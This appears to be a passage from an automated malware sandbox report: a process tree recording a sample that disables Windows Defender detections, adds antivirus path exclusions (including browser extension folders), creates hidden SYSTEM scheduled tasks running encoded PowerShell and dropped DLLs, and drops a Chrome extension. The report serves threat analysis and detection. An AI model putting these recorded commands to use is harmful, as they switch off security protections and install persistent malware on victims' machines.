/t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1304 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:323⤵
- Suspicious use of WriteProcessMemory
PID:3484 -
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:324⤵PID:4300
-
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:643⤵PID:4380
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:323⤵PID:1488
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:643⤵PID:4088
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:323⤵PID:3064
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:643⤵PID:500
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:323⤵PID:2700
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:643⤵PID:4628
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:323⤵PID:888
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:643⤵PID:3960
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:323⤵PID:4700
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:643⤵PID:1624
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:323⤵PID:4364
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:643⤵PID:3976
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:323⤵PID:3052
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:643⤵PID:3972
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:323⤵PID:2312
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:643⤵PID:4880
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:323⤵PID:992
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:643⤵PID:4488
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:323⤵PID:3348
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:643⤵PID:3512
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:323⤵PID:5024
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:643⤵PID:4704
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:323⤵PID:4188
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:643⤵PID:4888
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:323⤵PID:556
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:643⤵PID:3020
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\MyWyEVaGyEwOczZklbR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\MyWyEVaGyEwOczZklbR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\cnKtfofVELLNC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\cnKtfofVELLNC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\mBUaPyDkTUtU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\mBUaPyDkTUtU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\vPdYXglKjKUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\vPdYXglKjKUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\xaXHhbBRU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\xaXHhbBRU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\ihUYOsbkXmStDhVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\ihUYOsbkXmStDhVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\IoDYrcSNLocpvVnFK\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\IoDYrcSNLocpvVnFK\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\nHkJQUniIMPgfrVz\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\nHkJQUniIMPgfrVz\" /t REG_DWORD /d 0 /reg:64;"2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2224 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\MyWyEVaGyEwOczZklbR" /t REG_DWORD /d 0 /reg:323⤵PID:3896
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\MyWyEVaGyEwOczZklbR" /t REG_DWORD /d 0 /reg:324⤵PID:220
-
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\MyWyEVaGyEwOczZklbR" /t REG_DWORD /d 0 /reg:643⤵PID:4404
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\cnKtfofVELLNC" /t REG_DWORD /d 0 /reg:323⤵PID:4192
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\cnKtfofVELLNC" /t REG_DWORD /d 0 /reg:643⤵PID:1216
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mBUaPyDkTUtU2" /t REG_DWORD /d 0 /reg:323⤵PID:648
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mBUaPyDkTUtU2" /t REG_DWORD /d 0 /reg:643⤵PID:3956
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\vPdYXglKjKUn" /t REG_DWORD /d 0 /reg:323⤵PID:2424
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\vPdYXglKjKUn" /t REG_DWORD /d 0 /reg:643⤵PID:3612
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\xaXHhbBRU" /t REG_DWORD /d 0 /reg:323⤵PID:4516
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\xaXHhbBRU" /t REG_DWORD /d 0 /reg:643⤵PID:1920
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\ihUYOsbkXmStDhVB /t REG_DWORD /d 0 /reg:323⤵PID:3836
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\ihUYOsbkXmStDhVB /t REG_DWORD /d 0 /reg:643⤵PID:3108
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:323⤵PID:4920
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:643⤵PID:2640
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:323⤵PID:1936
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:643⤵PID:3332
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\IoDYrcSNLocpvVnFK /t REG_DWORD /d 0 /reg:323⤵PID:2852
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\IoDYrcSNLocpvVnFK /t REG_DWORD /d 0 /reg:643⤵PID:2172
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\nHkJQUniIMPgfrVz /t REG_DWORD /d 0 /reg:323⤵PID:2664
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\nHkJQUniIMPgfrVz /t REG_DWORD /d 0 /reg:643⤵PID:4980
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gxQTxivtu" /SC once /ST 00:51:25 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="2⤵
- Creates scheduled task(s)
PID:4436
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gxQTxivtu"2⤵PID:2772
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gxQTxivtu"2⤵PID:2288
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "YdWhrynxKGQiTdtBc" /SC once /ST 00:00:34 /RU "SYSTEM" /TR "\"C:\Windows\Temp\nHkJQUniIMPgfrVz\NFFFyMVBrphOVFo\jssbbPI.exe\" og /Hhsite_idgcV 525403 /S" /V1 /F2⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:4928
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "YdWhrynxKGQiTdtBc"2⤵PID:4188
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4296 -
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force2⤵PID:4360
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc1⤵PID:2796
-
C:\Windows\system32\gpscript.exegpscript.exe /RefreshSystemParam1⤵PID:1992
-
C:\Windows\Temp\nHkJQUniIMPgfrVz\NFFFyMVBrphOVFo\jssbbPI.exeC:\Windows\Temp\nHkJQUniIMPgfrVz\NFFFyMVBrphOVFo\jssbbPI.exe og /Hhsite_idgcV 525403 /S1⤵
- Checks computer location settings
- Executes dropped EXE
- Drops Chrome extension
- Drops desktop.ini file(s)
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:3020 -
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "byVqvYMHXaoMZDRgRv"2⤵PID:2176
-
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:322⤵PID:4016
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:323⤵PID:2960
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:642⤵PID:944
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:643⤵PID:4276
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\xaXHhbBRU\hWejYZ.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "NmaEDVxnjLfXRnq" /V1 /F2⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:1928
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "NmaEDVxnjLfXRnq2" /F /xml "C:\Program Files (x86)\xaXHhbBRU\klbEirz.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
PID:2640
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /END /TN "NmaEDVxnjLfXRnq"2⤵PID:4104
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "NmaEDVxnjLfXRnq"2⤵PID:4752
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "hqgMwoyDSsIoWX" /F /xml "C:\Program Files (x86)\mBUaPyDkTUtU2\NYxnTmb.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
PID:4520
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "RZYQSfteLooPz2" /F /xml "C:\ProgramData\ihUYOsbkXmStDhVB\rmjuvyb.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
PID:1316
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "ouYyMlgHVVVhUNspw2" /F /xml "C:\Program Files (x86)\MyWyEVaGyEwOczZklbR\ItoknWj.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
PID:3488
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "akaEizNpwrKtYZfeYHH2" /F /xml "C:\Program Files (x86)\cnKtfofVELLNC\yxgRhap.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
PID:1468
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "fORmCKMRpgzCRPXvW" /SC once /ST 00:13:22 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\nHkJQUniIMPgfrVz\BpXhRVlD\ztvOWvF.dll\",#1 /Jlsite_idMKg 525403" /V1 /F2⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:5084
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "fORmCKMRpgzCRPXvW"2⤵PID:1656
-
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:322⤵PID:2480
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:323⤵PID:3980
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:642⤵PID:1996
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:643⤵PID:4956
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "YdWhrynxKGQiTdtBc"2⤵PID:4728
-
-
C:\Windows\system32\rundll32.EXEC:\Windows\system32\rundll32.EXE "C:\Windows\Temp\nHkJQUniIMPgfrVz\BpXhRVlD\ztvOWvF.dll",#1 /Jlsite_idMKg 5254031⤵PID:1896
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\system32\rundll32.EXE "C:\Windows\Temp\nHkJQUniIMPgfrVz\BpXhRVlD\ztvOWvF.dll",#1 /Jlsite_idMKg 5254032⤵
- Blocklisted process makes network request
- Checks BIOS information in registry
- Loads dropped DLL
- Enumerates system info in registry
- Modifies data under HKEY_USERS
PID:1992 -
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "fORmCKMRpgzCRPXvW"3⤵PID:3512
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2KB
MD506115a8c4fc1ab0cc145a2beecf26d89
SHA1b357db07f8c26198369bdf172f012fb0e4a2eeb2
SHA256d838e85d031c2508c553a915675829d0521ee2400f97122f12c749996420e58b
SHA51263ddf558ef717074717583edf285659d4bd26eca742ae295a6f79ba85122de42665351a3bad38f4ce00fcbcce936029f94afd3b7f5eacd76fcef7cadb4e481f2
-
